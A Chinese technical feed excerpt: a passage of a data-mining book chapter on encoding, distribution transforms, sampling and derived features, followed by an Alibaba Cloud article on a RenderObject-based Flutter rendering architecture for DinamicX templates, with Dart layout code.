        从表2-11中可以看出,符号字段的分类A被编码为(1 0 0),B被编码为(0 1 0),C被编码为(0 0 1)。
        按照此方式编码后,这些符号字段被转换为一系列取值为0和1的稀疏矩阵。在建模的计算过程中,所要估计的模型参数的个数就会增加,但在实际的运算中,只有取值为1的变量需要参与计算,其他取值为0的变量可以忽略,这样可以极大地节省内存空间并提高计算效率。当模型参数被估计出来后,建模过程完成时,我们可以从模型结果中得到该字符变量的各个分类变量对应的模型参数和重要性。
        在算法的具体计算过程中,经常会用到“类别的数值编码”的方式,将类别型的字段转换为dummy字段。下面的例子就说明了这个过程。
        我们采用一个员工个人信息的数据集,包括字段:id(员工编号),gender(性别),bdate(出生日期),educ(教育程度),jobcat(工作类别),salary(工资),salbegin(起始工资),jobtime(工作时间),prevexp(先前经验),minority(民族)。该数据集如表2-12所示。

        表2-12 员工个人信息的示例

        image.png
        我们根据educ,jobcat,salary,salbegin字段来预测gender字段,此处选取Binomial Logistic Regression二项逻辑回归模型,使用GLM模型来完成。虽然该模型并不具有实际意义,但是可以说明符号型字段在建立模型中起到的作用。
        educ为取值8、12、14、15、16、17、18、19、20、21的数值型分类变量,但其是有顺序的,被称为ordinal有序分类变量;jobcat为取值Clerical、Custodial和Manager的三值字符型分类变量,是无顺序的,被称为nomial名义分类变量;salary和salbegin为连续型变量;gender为取值f和m的二值字符型分类变量,被称为flag标记变量或者nomial名义分类变量。对于建立的模型来说,educ、jobcat、salary、salbegin作为预测变量,gender作为目标变量。一般在回归模型中,educ和jobcat被称为factor因子变量,salary和salbegin被称为covariates协变量。
        我们采用Python 类库StatsModels建立二项回归模型。由于educ的值是数字,所以需要使用C操作符定义其为分类型变量 ;因为jobcat的值是文字,模型会自动识别其为分类型变量。通过使用StatsModels建立模型,所使用的相关Python脚本如下:
        image.png
        上述代码运行得到的结果如下:
        image.png
        从结果中的Coefficients的个数可以看出,educ和jobcat分类型变量被转化成了dummy虚拟变量,分别只显示了分类个数减1个系数,说明未被显示的那一个系数成了冗余。对于分类型字段来说,一般其中的一个分类都会被设置为冗余,这个特性在其他的机器学习模型算法中都适用。我们用jobcat作为例子,其包含Custodial、Manager和Clerical,使用两个虚拟变量jobcat[T.Custodial]和jobcat[T.Manager]来表示这3个可能的取值。如果jobcat[T.Custodial]等于1,表示jobcat的取值是Custodial;如果jobcat[T. Manager]等于1,表示jobcat的取值是Manager;如果jobcat[T.Custodial]和jobcat[T. Manager]都不等于1,表示jobcat既不是Custodial,又不是Manager,则jobcat为Clerical。进而从P-value显著性指标可以看出salbegin对gender的影响最大,起决定性作用,说明起始工资对性别的影响最大。
        利用残差分析来验证该模型是否适合该数据。因为残差等于变量真实值和预测值的差,线性模型越准确,残差的分布就越接近于0,所以通过残差分析来观察残差的分布是否主要分散在0的周围,就可以判断该线性模型是否适合该数据。
        从图2-16所示的残差的分布来看,残差点比较均匀地分布在水平带状区域中,大多数点集中在0点,0点两边的点分布比较分散,说明这个线性回归模型比较适合该数据。
        image.png
        image.png

        图2-16 模型的残差分布

        (2)关联字段的合并
        稀疏矩阵是数据分析时一种常见的数据形式。所谓稀疏矩阵是指一个矩阵(二维或多维)中,非零元素的值占很小的一部分,绝大多数元素取值为零,并且非零元素的分布一般没有什么规律。笔者在做一个实际的项目时,遇到一个稀疏矩阵的问题:二维表中的每一列代表客户持有的产品状态,1代表持有,0代表未持有。要找出客户持有产品的规律,就是将稀疏矩阵中每行的取值转化为一个字符串,即字符串“0000000000”代表十列数据取值都为零的情况。通过这种方式,其实是用新的一列代表了原来10列的数据信息,可以很方便地看出客户持有产品的状态。图2-17所示就是一个典型的例子。
        3. 分布变换
        在大多数模型中,都要求因变量服从和接近正态分布,正态分布是统计建模的基石,是许多模型的理论基础。本节将描述如何识别数据是否是正态分布,如果针对不同的数据类型采用其适用的变换方法,将其变换为正态分布。这些变换包括反正弦和反余弦变换、平方根变换、对数变换、Box-Cox变换等。
        image.png

        图2-17 由一个衍生字段代表原来10列数据的信息

        (1)反正弦和反余弦变换
        image.png
        其中,p为正整数,这种变换适用于百分比形式的数据,通过把分布曲线的尾部拉长、中部压缩,使得弱负偏和弱正偏的不对称分布接近于正态分布。
        (2)平方根变换
        image.png
        其中,c为常数,这种变换使正偏数据接近正态分布,常用于服从泊松分布的离散型数据。
        (3)对数变换
        image.png
        其中,c为常数,这种变换常用于服从对数正态分布的数据,对于正偏偏度很大的数据也很适用。由于这种分布是偏斜的,很可能出现零值,往往需要加上一个常数c。如果使c取值为0,那么要求因变量的所有取值都为非负数。
        (4)Box-Cox变换
        image.png
        其中,c为常数,为了确保X-c大于0。Box-Cox变换可以被看作一个变换族,该变换族中有一个待定变换参数,取不同的值,就是不同的变换。当参数为0时是对数变换,参数为1/2时是平方根变换,参数为-1时是倒数变换。变换后的因变量服从正态分布。由此可以看出Box-Cox变换适用范围很广,其最大的优势在于将寻找变换的问题转化为一个估计参数的过程,通过极大似然估计来估计最优的参数。
        对数据分布的挑剔,并不是所有的算法都是一致的。广义线性模型支持众多的分布类型,比如伽马分布、泊松分布、逆高斯分布、二项分布,多项分布等。线性回归算法是基于变量都是正态分布这样的假设来设计算法的,所以数据分布的改善能显著提高模型的精准度。
        为了说明分布的变化如何改善模型效果,我们采用表2-12所示的员工个人信息数据集,通过salary、prevexp、jobtime、jobcat、gender、educ、minority等字段来预测salbegin
        字段。
        第一步,我们查看因变量的分布,如图2-18所示。
        image.png

        图2-18 因变量的分布

        从图2-18中可以看出,因变量大致服从对数正态分布,且数据的取值集中于20000附近,其他区域几乎没有取值,说明数据的分布比较偏。
        我们首先不对因变量进行转换,而是直接进行回归分析,代码如下。
        image.png
        得到的结果如下:
        image.png
        从Coefficients的结果可以看出,除了minority和gender的Male变量外,其他自变量都是显著的,对模型的估计贡献显著;然后从R-squared的结果可以看出,模型的拟合程度为0.812,修正后为0.806;最后从F检验的结果可以看出,模型整体是显著的。
        如果对因变量做对数转换,会显著改变其分布,即从一个类似指数分布的状况改变为接近正态分布的状态,如图2-19所示。

        image.png


        图2-19 因变量做对数转变后的分布

        对因变量做指数变化后再建模,会发生什么样的变化?对数变化的效果到底如何?我们通过建模过程就可以看到,代码如下。
        image.png
        上述代码的执行结果如下:
        image.png
        从Coefficients的结果可以看出,除了jobcat的Custodial变量外,其他自变量都是显著的,对模型的估计贡献显著;然后从R-squared的结果可以看出,模型的拟合程度为0.852,修正后为0.847;最后从F检验的结果可以看出,模型整体是显著的。
        比较两个模型的结果,从中不难看出,模型的拟合度提高了。这说明变换后的数据能拟合出质量更高的模型,这得益于变换后的因变量更能服从正态分布。

        2.2.3数据归约

        数据归约(Data Reduction)是指在理解数据分析任务和数据本身内容的基础上,寻找依赖于发现目标的数据的有用特征,以缩减数据规模,从而在尽可能保持数据原貌的前提下,最大限度地精简数据量。数据归约主要从两个途径来实现:
        1. 属性选择
        属性选择就是通过有意而为之的动作,从大量的属性中筛选出与目标值(针对有监督的模型)或业务目标(针对无监督的模型)相关的属性,并将大量的不相关的数据摈弃。
        这个过程既是一个主观判断的过程,也是一个需要通过技术手段计算相关性来选取的过程。主观判断体现了业务理解、业务经验和数据分析的经验。我们将在第6章专门讨论指标的选取过程。
        2. 数据采样
        从总体(Population/Universe)中确定抽样范围(Sampling Frame)并进行抽样,通过对样本的研究来估计或反映总体的特征,是经典的数据分析过程。
        通过样本来估计总体特征的统计分析方法,或者通过对历史数据进行抽样并经过模型训练学习模式的数据挖掘,都是基于图2-20所示的思路进行的。
        image.png

        图2-20 数据采样的一般过程

        在大数据时代,我们可以不需要通过样本来估计整体的特征,因为新的计算平台已经可以支持对海量数据进行快速处理。对均值不需要估计,直接计算即可。
        但是,对于如预测、聚类分析等数据挖掘的场景,在大数据时代,采样仍然是必需的。在很多情况下,并不是样本越大(不论是列还是行)就意味着模型越好。笔者认为,经过深入的业务理解和数据理解后,针对具体的建模目标进行有效的衍生指标的加工才是最主要的。作者不否认很多时髦的算法能从数千个甚至数万个指标中快速计算并筛选出有效指标,如利用Lasso-logit算法在大数据平台上的实现,可以实现对近万个指标在数分钟内的快速筛选。这确实给指标的选取提供了极大的便利,貌似只要会将数据抽取出来并调用这些工具,大数据能很“智能”地做出计算和选择。其实,在数据挖掘的过程中,最为主要的是对业务的理解和衍生指标的加工。衍生指标往往能起到事半功倍的效果,它体现了建模的技巧,也体现了对问题的理解程度。
        总的来说,抽样分为两种大的类型:典型抽样(Representative Samples)又称概率抽样(Probability Samples),抽样时没有人的主观因素加入,每个个体都具有一定的被抽中的概率;非典型抽样(Non-representative Samples)又称非概率抽样(Nonprobability Samples),抽样时按照抽样者的主观标准抽取样本,每个个体被抽中的机会不是来自本身的机会,而是完全来自抽样者的意愿。一个比较完整的抽样种类的图表如图2-21所示。
        image.png

        图2-21 典型的采样类型

        概率抽样适用的场景是采用样本数据来体现整体的特征,包括以下几种:

        • 简单随机抽样(Simple Random Sampling)。保证大小为n的每个可能的样本都有相同的被抽中的概率。例如,按照“抽签法”“随机表”法抽取数据对象。其优点是:随机度高,在特质较均一的总体中,样本具有很高的总体代表度。
        • 系统随机抽样(Systematic Random Sampling)。将总体中的各单元先按一定顺序排列并编号,然后按照不一定的规则抽样。其中最常采用的是等距离抽样,即根据总体单位数和样本单位计算出抽样距离(相同的间隔),然后按相同的距离或间隔抽选样本单位。例如,从1000个电话号码中抽取10个访问号码,间距为100,确定起点后每100个号码抽一个访问号码。其优点是:操作简便,且与简单随机抽样相比,在一定条件下更能体现总体的特征。
        • 分层随机抽样(Stratified Random Sampling)。把调查总体分为同质的、互不交叉的层(或类型),然后在各层(或类型)中独立抽取样本。例如,调查零售店时,按照其规模大小或库存额大小进行分层,然后在每层中按简单随机方法抽取大型零售店若干、中型零售店若干、小型零售店若干;调查城市时,按城市总人口或工业生产额分出超大型城市、中型城市、小型城市等,再抽出具体的各类型城市若干。从另一个角度来说,分层抽样就是在抽样之前引入一些维度,对总量的群体进行分层或分类,在此基础上再次进行抽样。
        • 整群抽样(Cluster Sampling)。先将调查总体分为群,然后从中抽取群,对被抽中群的全部单元进行调查。例如,在人口普查时,可以按照地区将人口分为几个群体,然后选取某个群体,研究该群体内所有个体的特征,据此来推断该地区的人口特征。

        非概率抽样都是按照抽样者的意愿来进行的,典型的方式有以下几种:

        • 方便抽样(Convenience Sampling)。根据调查者方便选取的样本,以无目标、随意的方式进行。例如,街头拦截访问(看到谁就访问谁);个别入户项目(谁开门就访问谁)。
        • 判断抽样(Judgment Sampling)。由专家判断而有目的地抽取他认为“有代表性的样本”。例如,社会学家研究某国家的一般家庭情况时,常以专家判断方法挑选“中型城镇”进行;在探索性研究中,如抽取深度访问的样本时,可以使用这种方法。
        • 配额抽样(Quota Sampling)。先将总体元素按某些控制的指标或特性分类,然后按方便抽样或判断抽样选取样本元素。 配额抽样相当于包括两个阶段的加限制的判断抽样:在第一阶段需要确定总体中的特性分布(控制特征),通常,样本中具备这些控制特征的元素的比例与总体中有这些特征的元素的比例是相同的,通过第一步的配额,保证了在这些特征上样本的组成与总体的组成是一致的。在第二阶段,按照配额来控制样本的抽取工作,要求所选出的元素要适合所控制的特性。

        在日常建模过程中,比较常用的抽样方法是简单随机抽样。在抽样结束后,可以通过一些简单、易用的方式来判断样本的某一特征是否体现了总体的特征。
        图2-22中就是抽取了两个样本,并且比较了某个关键指标在两个样本、全集上的分布,据此来判断三者之间的差别。从图中可以看出,三者之间几乎没有多少差别,即可以认定样本可以用来代表全集的特征。
        image.png

        图2-22 两个样本、总体的关键指标的分布

        2.3衍生指标的加工

        在探索了数据的基本统计信息后,我们掌握了数据的分布特征等信息;接着又对数据做了预处理,过滤了缺失值和离群值,转变和处理了数据类型,提高了数据的质量。本节进一步对数据从字段上进行加工,从尺度、分布上进行变换,满足不同的业务和建模需要,变换后的字段更能满足模型需要,由此引出了本节的衍生指标的加工。

        2.3.1衍生指标概述

        所谓衍生指标(Derived Field)是指利用给定数据集中的字段,通过一些计算而加工产生一些新的指标。创建衍生指标是数据分析过程中最具创意的部分之一,是数据分析者必须具备的基本技能之一。衍生指标将人们的见解融入建模的过程中,使得模型的结论充分体现了业务、市场的重要特征。精心挑选的衍生指标能增强模型的可理解性和解释能力。
        一般来说,对数据和变量进行加工和转换的主要目的是统一变量的数据尺度,使变量尽可能为正态分布,使变量之间的非线性关系转换为线性关系,使变量便于用简单自然的方式表示,帮助理解数据的特征,等等。不同的变换方法试图达到不同的目的,不同的模型对数据和变量的要求不同。譬如大多数多元统计方法要求变量的尺度一致,要求因变量服从正态分布。变量的变换一定要根据模型和业务的需要合理地进行。
        衍生指标的创建主要体现了数据挖掘者对业务和目标的理解程度,体现了其解决问题的能力、对数据的敏感度和经验等。所以,衍生指标的创建在更多的时候是针对分析目标将既有指标进行加工。比如,银行的数据仓库针对每月的数据都进行了汇总,但是如何知道客户近期的活跃程度呢?一个简单的衍生指标就是“最近6个月平均每月的交易次数”,这就是一个很好的指标。这个指标的加工方式就是读取最近6个月的每月交易次数(很可能每个月都会对应于一张表),然后求一个平均值即可。
        在进行数据分析的过程中,可以采用一个做法:将各个字段的数据都看作不断“说话”的部件。当面对很多部件时,就好比处在了一个嘈杂的环境中,数据分析者应当用一个平和的心态,通过查看数据分布、查看与目标变量的相关关系、加工衍生字段等方式,认真挑选这些字段。笔者一直认为,不论字段的数据质量到底如何,它们都是在不断地向我们“诉说”着什么,有些在诉说客户的价值,有些在诉说客户的行为,而数据分析者需要善于倾听和选择。笔者非常认可《数据挖掘技术》 中提到的衍生指标的加工方法介绍。在实际的项目中,这些方法非常实用。所以在接下来的小节中,我们参照了该书中的大纲安排,但内容来自笔者的实际项目总结。

        2.3.2将数值转化为百分位数

        数值体现被描述对象的某个维度的指标大小,百分比则体现程度。在有关银行的项目中,数据仓库中的大多指标都是在如实反映客户某指标的大小,如存款余额、理财余额等。这些指标在忠实地描述客观事实,利用它们可以轻易加工出业务含义明确的衍生指标,如客户的理财偏好程度:
        image.png
        理财偏好程度=同一时间窗口中资产余额均值(存款余额 + 理财余额 + …)×100%
        该百分比越大,表明客户对理财的偏好程度越高。该衍生指标可以直接通过离散化对客户群体进行划分,也可以作为输入变量去构建各种模型(如预测、聚类等)。像这样的指标加工方式,在实际项目中可以灵活采用。

        2.3.3把类别变量替换为数值

        大多数算法在实际运算的过程中,都需要将分类型变量首先转换为数值型变量,然后才能进行计算。在本章的2.2.2小节中,也介绍了将分类型变量转换为数值型变量的方法:转为dummy虚拟变量,然后才参与模型计算。这种方法可以在调用算法之前作为数据预处理的步骤来进行,也可以直接交给算法去处理(算法的实现过程已经包含了该过程)。
        但是从另一个方面来说,类别变量具有很重要的业务含义。比如,客户资产的类别:富裕客户,就是一个非常有实际业务指导意义的指标。有时,为了将连续型变量转换为分类型变量,这牵扯到分箱时的阈值划分,往往需要从数据分布和业务指导意义两个方面同时考虑。所谓富裕客户,一定是某些数值型变量达到一定的阈值,才会有这个标签。
        在构建模型之前,最好不要将一些数值型变量转化为分类型变量。这会很大程度上伤害模型的性能。图2-23所示就是一个用SAS决策树算法生成的模型结果。如果在建模之前,我们生硬地将字段“Has_Bad_Payment_Re…”离散化,其结果在很大的程度上不会是以0.5作为阈值,那么该字段就不会那么重要(决策树的第二级节点),它的重要性很可能就会被别的字段所代替而导致我们得不到非常有用的业务规则,模型的性能也会显著下降。
        image.png

        图2-23 一个SAS决策树算法生成的模型结果

        从实际业务指导的角度来看,分类型变量的易用性远远大于数值型变量。从模型算法的角度来看,采用数值型的指标会显著提高模型的性能。针对“富裕客户”这样的指标值,在建模时为模型性能考虑,最好是将其代表的数值直接使用而摈弃分类型变量。

        2.3.4多变量组合

        多变量组合去计算出一个新的指标,是非常常用的衍生指标的计算方式,如针对银行客户的信用评级指数:
        image.png
        其中,字段1至字段4是一些既有的字段;P则是通过一系列的计算和分析,最终确定这些字段的组合方式得出的综合指标。在笔者最近进行的一个数据分析项目中,我们首先使用回归算法确定目标值与自变量之间的线性关系,这个关系体现了“什么样的投入会导致什么样的结果”:
        image.png
        上述公式其实也是线性回归算法通过训练而得到的“模式(Pattern)”。根据这个公式,将其中一个自变量作为因变量,而原来的因变量变为自变量,来反推“当要达到预期的某个值时,需要多少投入”:
        image.png
        这是一个典型的goal seek过程,只是“需要多少投入”这样的结果完全可以作为一个新的衍生字段被计算出来。
        在金融行业非常关注客户的“未来价值”,不同的价值给银行带来的收益也会大不相同。未来价值由很多方面来决定,如客户所从事的行业、教育程度、目前的资产、年龄、地区、家庭的经济状况等。这些数据很多是银行所不具备的,但是其可以借助一个比较简单的方式来估算:
        image.png
        这是一个没有严格数学含义的衍生指标,并且只能处理年龄在[25,60]区间以内的客户。但是该指标的业务含义却比较清晰:未来价值与客户当前年龄和当前的资产余额有很大的关系,该算法得到的结果值越大,表现出客户的未来价值越大;该值越小,客户的未来价值越小。

        2.3.5从时间序列中提取特征

        时间序列数据是指在不同时间点上收集到的数据,这类数据反映了某一事物、现象等随时间的变化状态或程度。设备的监控数据、温度随时间的变化、股票大盘随时间的波动等都是典型的时间序列数据。针对时间序列数据,有很多的专用算法可以用来做分析,如差分自回归移动平均模型(ARIMA)。
        在应用非专门处理时间序列的算法时,有时需要从时间序列数据中提取一些典型有用的数据作为一个变量输入。比如,在预测性维护的场景中,设备是否需要维护或是否会出现故障的模型训练,需要将设备监控的数据做一些转换,作为预测模型的预测变量。如图2-24所示,可以将出现故障前兆的异常数据进行计数,或者通过计算方差的大小来体现指标的变化幅度,作为体现设备状态的典型指标来预测目标变量的取值。
        image.png

        图2-24 监控信息中包含故障出现的前兆

        ]]>
        做一个高一致性、高性能的Flutter动态渲染,真的很难么?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Flutter动态模板渲染架构升级

        ​ 最近小组在尝试使用集团DinamicX的DSL,通过下发DSL模板,实现Flutter端的动态化模板渲染。我们解决了性能方面的问题后,又面临了一个新的挑战——渲染一致性。我们该如何在不降低渲染性能的前提下,大幅度提升Flutter与Native之间的渲染一致性呢?

        挑战与思路

        ​ 在初版渲染架构设计当中,我们以Widget为中心,采用了组合的方案来完成DSL到Widget的转化。这方面的工作在早期还算比较顺利,然而随着模板复杂度的增加,逐渐出现了一些Bad Case。

        node_to_widget

        ​ 我们分析了这些Bad Case后发现,在初版渲染架构下,无法彻底解决这些Bad Case,原因主要为以下两点:

        1. 我们使用了Stack来代表FrameLayout,Column/Row来代表LinearLayout,它们看似功能相似,实则内部实现差异较大,使用过程中引起了很多难以解决的Bad Case。
        2. 初版我们尝试通过自定义Widget对DSL的布局理念做了初步的理解,但是未能做到完全对齐,使得Bad Case无法得到系统性解决。

        ​ 如需从根本上解决这些问题,我们需要重新设计一套新的渲染架构方案,完全理解并对齐DSL的布局理念。

        新版渲染架构设计

        ​ 由于DinamicX的DSL与Android XML十分相似,因此我们将以Android的Measure机制来介绍其布局理念。相信很多同学都明白,在Android的Measure机制中,父View会根据自身的MeasureSpecMode和子View的LayoutParams来计算出子View的MeasureSpecMode,其具体计算表格如下(忽略了MeasureSpecMode为UNSPECIFIED的情况):

        table

        ​ 我们可以基于上面这个表格,计算出每个DSL Node的宽/高是EXACTLY还是AT_MOST的。 Flutter若想理解DynamicX DSL,就需要引入MeasureSpecMode的概念。由于初版渲染架构以Widget为中心,难以引入MeasureSpecMode的概念,因而我们需要以RenderObject为中心,对渲染架构做重新的设计。

        ​ 我们基于RenderObject层,设计了一个新的渲染架构。在新的渲染架构中,每一个DSL Node都会被转化为RenderObject Tree上的一颗子树,这棵子树主要由三部分组成。

        1. Decoration层:Decoration层用于支持背景色、边框、圆角、触摸事件等,这些我们可以通过组合方式实现。
        2. Render层:Render层用于表达Node在转化后的布局规则与尺寸大小。
        3. Content层:Content层负责显示具体内容,对于布局控件来说,内容就是自己的children,而对于非布局控件如TextView、ImageView等,内容将采用Flutter中的RenderParagraph、RenderImage来表达。

        ​ Render层为我们新版渲染架构中的核心层,用于表达Node转化后的布局规则与尺寸大小,对于理解DSL布局理念起到了关键性作用,其类图如下:

        uml

        ​ DXRenderBox是所有控件Render层的基类,其派生了两个类:DXSingleChildLayoutRender和DXMultiChildLayoutRender。其中DXSingleChildLayoutRender是所有非布局控件Render层的基类,而DXMultiChildLayoutRender则是所有布局控件Render层的基类。

        ​ 对于非布局控件来说,Render层只会影响其尺寸,不影响内部显示的内容,所以理论上View、ImageView、Switch、Checkbox等控件在Render层的表达都是相同的。DXContainerRender就是用于表达这些非布局控件的实现类。这里TextView由于有maxWidth属性会影响其尺寸以及需要特殊处理文字垂直居中的情况,因而单独设计了DXTextContainerRender。

        ​ 对于布局控件来说,不同的布局控件代表着不同的布局规则,因此不同的布局控件在Render层会派生出不同的实现类。DXLinearLayoutRender和DXFrameLayoutRender分别用于表达LinearLayout与FrameLayout的布局规则。

        新版渲染架构实现

        ​ 完成新版渲染架构设计之后,我们可以开始设计我们的基类DXRenderBox了。对于DXRenderBox来说,我们需要实现它在Flutter Layout中非常关键的三个方法:sizedByParent、performResize和performLayout。

        Flutter Layout的原理

        ​ 我们先来简单回顾一下Flutter Layout的原理,由于之前已有诸多文章介绍过Flutter Layout的原理,我们这次就直接聚焦于Flutter Layout中用于计算RenderObject的size的部分。

        ​ 在Flutter Layout的过程中,最为重要的就是确定每个RenderObject的size,而size的确定是在RenderObject的layout方法中完成的。layout方法主要做了两件事:

        1. 确定当前RenderObject对应的relayoutBoundary
        2. 调用performResize或performLayout去确定自己的size

        为了方便读者阅读,我们将layout方法做了简化,代码如下:

        abstract class RenderObject {
          Constraints get constraints => _constraints;
          Constraints _constraints;
            
          bool get sizedByParent => false;
           
          void layout(Constraints constraints, { bool parentUsesSize = false }) {
            //计算relayoutBoundary
            ......
            //layout
            _constraints = constraints;
            if (sizedByParent) {
                performResize();
            }
            performLayout();
            ......
          }
        }

        ​ 可以说只要掌握了layout方法,那么对于Flutter Layout的过程也就基本掌握了。接下来我们来简单分析一下layout方法。

        ​ 参数constraints代表了parent传入的约束,最后计算得到的RenderObject的size必须符合这个约束。参数parentUsesSize代表parent是否会使用child的size,它参与计算repaintBoundary,可以对Layout过程起到优化作用。

        ​ sizedByParent是RenderObject的一个属性,默认为false,子类可以去重写这个属性。顾名思义,sizedByParent表示RenderObject的size的计算完全由其parent决定。换句话说,也就是RenderObject的size只和parent给的constraints有关,与自己children的sizes无关。

        ​ 同时,sizedByParent也决定了RenderObject的size需要在哪个方法中确定,若sizedByParent为true,那么size必须得在performResize方法中确定,否则size需要在performLayout中确定。

        ​ performResize方法的作用是确定size,实现该方法时需要根据parent传入的constraints确定RenderObject的size。

        ​ performLayout则除了用于确定size以外,还需要负责遍历调用child.layout方法对计算children的sizes和offsets。

        如何实现sizedByParent

        ​ sizedByParent为true时,表示RenderObject的size与children无关。那么在我们的DXRenderBox中,只有当widthMeasureMode和heightMeasureMode均为DX_EXACTLY时,sizedByParent才能被设为true。

        ​ 代码中的nodeData类型为DXWidgetNode,代表上文中提到的DSL Node,而widthMeasureMode和heightMeasureMode则分别代表DSL Node的宽与高对应的MeasureSpecMode。

        abstract class DXRenderBox extends RenderBox {
        
            DXRenderBox({@required this.nodeData});
            DXWidgetNode nodeData;
        
            @override
            bool get sizedByParent {
                return nodeData.widthMeasureMode == DXMeasureMode.DX_EXACTLY &&
                    nodeData.heightMeasureMode == DXMeasureMode.DX_EXACTLY;
            }
            
            ......
        }

        如何实现performResize

        ​ 只有sizedByParent为true时,也就是widthMeasureMode和heightMeasureMode均为DX_EXACTLY时,performResize方法才会被调用。而若widthMeasureMode和heightMeasureMode均为DX_EXACTLY,则证明nodeData的宽高要么是具体值,要么是match_parent,所以在performResize方法里,我们只需要处理宽/高为具体值或match_parent的情况即可。宽/高有具体值取具体值,没有具体值则表示其为match_parent,取constraints的最大值。

        abstract class DXRenderBox extends RenderBox {
               ......
                
            @override
            void performResize() {
                double width = nodeData.width ?? constraints.maxWidth;
                double height = nodeData.height ?? constraints.maxHeight;
                size = constraints.constrain(Size(width, height));
            }
            
            ......
        }

        非布局控件如何实现performLayout

        ​ DXRenderBox作为所有控件Render层的基类,无需实现performLayout。不同的DXRenderBox的子类对应的performLayout方法是不同的,这个方法也是Flutter理解DSL的关键。接下来我们以DXSingleChildLayoutRender为例子来说明performLayout的实现思路。

        ​ DXSingleChildLayoutRender的主要作用是确定非布局控件的大小。比如一个ImageView具体有多大,就是通过它来确定的。

        abstract class DXSingleChildLayoutRender extends DXRenderBox
            with RenderObjectWithChildMixin<RenderBox> {
            
          @override
          void performLayout() {
            BoxConstraints childBoxConstraints = computeChildBoxConstraints();
            if (sizedByParent) {
              child.layout(childBoxConstraints);
            } else {
              child.layout(childBoxConstraints, parentUsesSize: true);
              size = defaultComputeSize(child.size);
            }
          }
          
          ......
        }

        ​ 首先,我们先计算出childBoxConstraints。接着判断DXSingleChildLayoutRender是否是sizedByParent。如果是,那么DXSingleChildLayoutRender的size已经在performResize阶段计算完成,此时只需要调用child.layout方法即可。否则,我们需要在调用child.layout时将parentUsesSize参数设置为true,通过child.size来计算DXSingleChildLayoutRender的size。可是我们该如何根据child.size来计算DXSingleChildLayoutRender的size呢?

        Size defaultComputeSize(Size intrinsicSize) {
            double finalWidth = nodeData.width ?? constraints.maxWidth;
            double finalHeight = nodeData.height ?? constraints.maxHeight;
        
            if (nodeData.widthMeasureMode == DXMeasureMode.DX_AT_MOST) {
                finalWidth = intrinsicSize.width;
            }
        
            if (nodeData.heightMeasureMode == DXMeasureMode.DX_AT_MOST) {
                finalHeight = intrinsicSize.height;
            }
            return constraints.constrain(Size(finalWidth,finalHeight));
        }

        1)如果宽/高所对应的measureMode为DX_EXACTLY,那么最终宽/高则有具体值取具体值,没有具体值则表示其为match_parent,取constraints的最大值。

        2)如果宽/高所对应的measureMode为DX_ATMOST,那么最终宽/高取child的宽/高即可。

        布局控件如何实现performLayout

        ​ 布局控件在performLayout中除了需要确定自己的size以外,还需要设计好自己的布局规则。我们以FrameLayout为例来说明一下布局控件的performLayout该如何实现。

        class DXFrameLayoutRender extends DXMultiChildLayoutRender {  
          @override
          void performLayout() {
            BoxConstraints childrenBoxConstraints = computeChildBoxConstraints();
            double maxWidth = 0.0;
            double maxHeight = 0.0;
            //layout children
            visitDXChildren((RenderBox child,int index,DXWidgetNode childNodeData,DXMultiChildLayoutParentData childParentData) {
              if (sizedByParent) {
                child.layout(childrenBoxConstraints,parentUsesSize: true);
              } else {
                child.layout(childrenBoxConstraints,parentUsesSize: true);
                maxWidth = max(maxWidth,child.size.width);
                maxHeight = max(maxHeight,child.size.height);
              }
            });
            //compute size
            if (!sizedByParent) {
              size = defaultComputeSize(Size(maxWidth, maxHeight));
            }
            //compute children offsets
            visitDXChildren((RenderBox child,int index,DXWidgetNode childNodeData,DXMultiChildLayoutParentData childParentData) {
              Alignment alignment = DXRenderCommon.gravityToAlignment(childNodeData.gravity ?? nodeData.childGravity);
              childParentData.offset = alignment.alongOffset(size - child.size);
            });
          }
        }

        FrameLayout的布局过程一共可分为3部分

        1. layout所有的children,如果FrameLayoutRender不是sizedByParent,需要同时计算所有children的最大宽度与最大高度,用于计算自身size。
        2. 计算自身size,其中计算方案defaultComputeSize详见上一小节
        3. 将gravity转化为alignment,计算所有children的offsets。

        ​ 看了FrameLayout的布局过程,是否觉得非常简单呢?不过需要指出的是,上述FrameLayoutRender的代码会遇到一些Bad Case,其中比较经典的问题就是FrameLayout的宽/高为match_content,而其children的宽/高均为match_parent。这种情况在Android下会对同一个child进行"两次measure",那么在Flutter下,我们该如何实现呢?

        Flutter如何解决"两次Measure"的问题

        我们先来看一个例子:

        example

        ​ 上图的LinearLayout是一个竖向线性布局,width被设为了match_content,它包含了两个TextView,width均为match_parent,那么这个例子中,整个布局的流程应该是怎样的呢。

        ​ 首先需要依次measure两个TextView的width,MeasureSpecMode为AT_MOST,简单来说,就是问它们具体需要多宽。接着LinearLayout会将两个TextView需要的宽度的最大值设为自己的宽度。最后,对两个TextView进行第二次measure,此时MeasureSpecMode会被改为Exactly,MeasureSpecSize为LinearLayout的宽度。

        ​ 而常见的Flutter的layout过程为以下两种:

        1. 先在performResize中计算自身size,再通过child.layout确定children sizes
        2. 先通过child.layout确定children sizes,再根据children sizes计算自身size

        ​ 以上方案均不能满足例子中我们想要的效果,我们需要找到一个方案,在调用child.layout之前,便能知道child的宽高。最后我们发现,getMinIntrinsicWidth、getMaxIntrinsicWidth、getMinIntrinsicHeight、getMaxIntrinsicHeight四个方法能够满足我们。我们以getMaxIntrinsicHeight为例,来讲讲这些方法的用途。

        double getMaxIntrinsicWidth(double height) {
            return _computeIntrinsicDimension(_IntrinsicDimension.maxWidth, height, computeMaxIntrinsicWidth);
        }

        ​ getMaxIntrinsicWidth接收一个参数height,用于确定当height为这个值时maxIntrinsicWidth应该是多少。这个方法最终会通过computeMaxIntrinsicWidth方法来计算maxIntrinsicWidth,计算结果会被保存。如果我们需要重写,不应该重写getMaxIntrinsicWidth方法,而是应该重写computeMaxIntrinsicWidth方法。需要注意的是这些方法并非轻量级方法,只有在真正需要的时候才可使用。

        ​ 或许你不禁要问,这些方法计算出来的宽高准吗?实际上每个RenderBox的子类都需要保证这些方法的正确性,比如用于展示文字的RenderParagraph就实现了这些compute方法,因此我们得以在RenderParagraph没被layout之前,获取其宽度。

        ​ 我们设计的Render层中的类也得实现compute方法,这些方法实现起来并不复杂,我们还是以DXSingleChildLayoutRender为例子来说明该如何实现这些方法。

          @override
          double computeMaxIntrinsicWidth(double height) {
            if (nodeData.width != null) {
              return nodeData.width;
            }
            if (child != null) return child.getMaxIntrinsicWidth(height);
            return 0.0;
          }

        ​ 上述代码比较简单,不再赘述。

